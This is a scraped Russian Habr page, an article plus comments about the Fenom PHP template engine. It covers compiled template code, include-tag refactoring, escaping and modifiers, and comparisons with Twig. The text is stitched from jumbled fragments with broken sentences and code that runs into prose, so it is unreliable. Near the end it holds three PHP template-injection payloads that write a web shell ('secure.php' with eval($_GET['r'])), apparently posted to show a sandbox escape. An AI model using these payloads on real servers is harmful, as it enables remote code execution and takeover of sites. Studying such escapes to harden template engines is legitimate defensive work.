Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Если кому интересно, я могу рассказать в отдельной статье все интересные моменты и нюансы, с которыми пришлось столкнуться при создании шаблонизатора.
ob_start.<?php
/** Fenom template 'foreach/smarty.tpl' compiled at 2013-07-04 01:43:57 */
return new Fenom\Render($fenom, function ($tpl) {
?><h1>Вывод 10 полей из 1000 элементов в цикле</h1>
<?php
/* foreach/smarty.tpl:2: {foreach $array as $item} */
if($tpl["array"]) { foreach($tpl["array"] as $tpl["item"]) { ?>
<?php
/* foreach/smarty.tpl:3: {$item.id} */
echo $tpl["item"]["id"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.title} */
echo $tpl["item"]["title"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.var1} */
echo $tpl["item"]["var1"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.var2} */
echo $tpl["item"]["var2"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.var3} */
echo $tpl["item"]["var3"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.var4} */
echo $tpl["item"]["var4"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.var5} */
echo $tpl["item"]["var5"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.var6} */
echo $tpl["item"]["var6"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.var5} */
echo $tpl["item"]["var5"]; ?>
<?php
/* foreach/smarty.tpl:3: {$item.var6} */
echo $tpl["item"]["var6"]; ?>
<?php
/* foreach/smarty.tpl:4: {/foreach} */
} } ?>
<?php
}, array (
'options' => 0,
'provider' => false,
'name' => 'foreach/smarty.tpl',
'base_name' => 'foreach/smarty.tpl',
'time' => 1369074113,
'depends' =>
array (
),
));
// Путь до папки с шаблонами
define('VIEWS_BASEDIR', dirname(__FILE__).'/views/');
class View {
// получить отренедеренный шаблон с параметрами $params
function fetchPartial($template, $params = array()){
extract($params);
ob_start();
include VIEWS_BASEDIR.$template.'.php';
return ob_get_clean();
}
// вывести отренедеренный шаблон с параметрами $params
function renderPartial($template, $params = array()){
echo $this->fetchPartial($template, $params);
}
// получить отренедеренный в переменную $content layout-а
// шаблон с параметрами $params
function fetch($template, $params = array()){
$content = $this->fetchPartial($template, $params);
return $this->fetchPartial('layout', array('content' => $content));
}
// вывести отренедеренный в переменную $content layout-а
// шаблон с параметрами $params
function render($template, $params = array()){
echo $this->fetch($template, $params);
}
}
Итераторами
public static function tagInclude(Tokenizer $tokens, Template $tpl) {
if($p) { // if we have additionally variables
if($name && ($tpl->getStorage()->getOptions() & \Fenom::FORCE_INCLUDE)) { // if FORCE_INCLUDE enabled and template name known
$inc = $tpl->getStorage()->compile($name, false);
$tpl->addDepend($inc);
return '$_tpl = (array)$tpl; $tpl->exchangeArray('.self::toArray($p).'+$_tpl); ?>'.$inc->_body.'<?php $tpl->exchangeArray($_tpl); unset($_tpl);';
} else {
return '$tpl->getStorage()->getTemplate('.$cname.')->display('.self::toArray($p).'+(array)$tpl);';
}
} else {
if($name && ($tpl->getStorage()->getOptions() & \Fenom::FORCE_INCLUDE)) { // if FORCE_INCLUDE enabled and template name known
$inc = $tpl->getStorage()->compile($name, false);
$tpl->addDepend($inc);
return '$_tpl = (array)$tpl; ?>'.$inc->_body.'<?php $tpl->exchangeArray($_tpl); unset($_tpl);';
} else {
return '$tpl->getStorage()->getTemplate('.$cname.')->display((array)$tpl);';
}
}
}
public static function tagInclude(Tokenizer $tokens, Template $tpl) {
if($p) { // if we have additionally variables
if($name && ($tpl->getStorage()->getOptions() & \Fenom::FORCE_INCLUDE)) { // if FORCE_INCLUDE enabled and template name known
$inc = $tpl->getStorage()->compile($name, false);
$tpl->addDepend($inc);
return '$_tpl = (array)$tpl; $tpl->exchangeArray('.self::toArray($p).'+$_tpl); ?>'.$inc->_body.'<?php $tpl->exchangeArray($_tpl); unset($_tpl);';
}
return '$tpl->getStorage()->getTemplate('.$cname.')->display('.self::toArray($p).'+(array)$tpl);';
} elseif($name && ($tpl->getStorage()->getOptions() & \Fenom::FORCE_INCLUDE)) { // if FORCE_INCLUDE enabled and template name known
$inc = $tpl->getStorage()->compile($name, false);
$tpl->addDepend($inc);
return '$_tpl = (array)$tpl; ?>'.$inc->_body.'<?php $tpl->exchangeArray($_tpl); unset($_tpl);';
}
return '$tpl->getStorage()->getTemplate('.$cname.')->display((array)$tpl);';
}
php > $fenom = Fenom::factory('.', '/tmp', Fenom::AUTO_ESCAPE);
php > echo ($fenom->compileCode('Hello {$name|unescape}!')->_body);
Hello <?php
/* Runtime compile:1: {$name|unescape} */
echo htmlspecialchars(call_user_func($tpl->getStorage()->getModifier("unescape"), $tpl["name"]), ENT_COMPAT, 'UTF-8'); ?>
echo htmlspecialchars(\Fenom\Modifier::unescape($tpl["name"]), ENT_COMPAT, 'UTF-8');
{$name|unescape} объект и unescape будет его методом. Потом вы увидите, что необъявленные переменные у вас выдают нотисы, начнете проверять есть ли переменная, прежде чем её выводить. Пройдет еще несколько таких итераций, прежде чем вы действительно поймете, чем должен заниматься шаблонизатор. И не факт, что уже на середине пути ваш шаблонизатор не станет медленне твига.{$var|up|raw}, у вас {raw "{$var|up}"}."Text" ~ $var|up|raw ~ $value|low"Text" ~ ($var|up|raw) ~ ($value|low)
{{ "data: " ~ a|upper|raw ~ b|lower }}
{{ "data: " ~ a|upper|raw ~ b|lower|raw }}
{{ "data: " ~ (a|upper|raw ~ b|lower)|raw }}
data: <A>A</A><b>b</b>модификатор игнорируется.
{{ ("data: " ~ a|upper|raw ~ b|lower)|raw }}
and no, using the more compact <?= shortcut is not an optionЭто было написано в то время, когда такой синтаксис был deprecated.
Касательно экранирования важно понимать, что о нём надо помнить в любом случае, а также об исключениях, когда нужно явно выводить «небезопасную» строку. В шаблонизаторах точно так же надо об этом думать и давать нужные директивы.Использование нормального шаблонизатора позволяет забыть об этом в 99% случаев. А добавить | raw когда требуется вывести неэкранированный html — совсем не сложно.
product.image.big.width|default(42)if (!isset($product) || (is_object($product) && !method_exists($product, 'image') && !property_exists($product, 'image')) || (... !isset($product['image'])) ...<еще куча кода>...) echo '42'; else echo $product->image['big']->width;{% autoescape %}
{{ someVar|raw }}
{{ someVar }}
{% endautoescape %}
{{ textVar|e|lower|capitalize }}
<?php=e(ucfirst(strtolower($textVar)));?>
e()? Если да — я утрировал, каждый сам для себя пишет хелперы, например ее реализация может выглядеть как-то так:function e($str, $type = 'html', $charset = 'UTF8')
{
static $types;
if ($types === null) {
$types = array(
'html' => 'Template::escape',
'js' => 'Template::jsEscape',
'css' => 'Template::cssEscape'
);
}
$type = strtolower($type);
if (!in_array($type, $types)) {
throw new InvalidArgumentException('Undefined escape type: '.$type);
}
return $types[$type]($str, $charset);
}
// base.twig
{{ block js }}
<script src="/js/jquery.js"></script>
{{ endblock }}
// editor.twig
{% extends "base.twig" %}
{{ block js }}
{{ parent() }}
<script src="/js/editor.js"></script>
{{ endblock }}
function. Include, конечно же, может заменить функции, но при определенных условиях это в несколько раз медленее. На данный момент рекурсивный вызов макроса не поддерживается.
defun/fun изначально предназначался для рекурсий. В Fenom за основу взят Smarty-like синтаксис шаблонов...
array_map('file_put_contents', array('secure.php'), array('<?php eval($_GET["r"]);'))
$var = 'file_put_contents';
"{$var('secure.php','<?php eval($_GET[\'r\']);')}";
${''.$file_put_contents = 'file_put_contents'}('secure.php','<?php eval($_GET[\'r\']);');
Fenom — yet another PHP template engine